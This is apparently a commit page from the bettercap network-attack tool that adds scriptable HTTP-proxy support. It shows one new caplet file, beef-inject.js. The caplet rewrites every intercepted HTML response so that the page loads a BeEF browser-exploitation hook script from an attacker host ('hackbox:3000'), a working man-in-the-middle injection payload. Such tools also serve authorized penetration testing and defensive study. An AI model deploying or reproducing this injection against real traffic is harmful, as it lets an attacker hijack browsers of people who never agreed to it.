new: http proxy can now be scripted with js files

This commit is contained in:
evilsocket 2018-01-07 22:51:18 +01:00
commit 98d1a028ed
12 changed files with 345 additions and 124 deletions

9
caplets/beef-inject.js Normal file
View file

@ -0,0 +1,9 @@
function onLoad() {
console.log( "BeefInject loaded." );
}
function onResponse(req, res) {
if( res.ContentType.indexOf("text/html") == 0 ){
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
}
}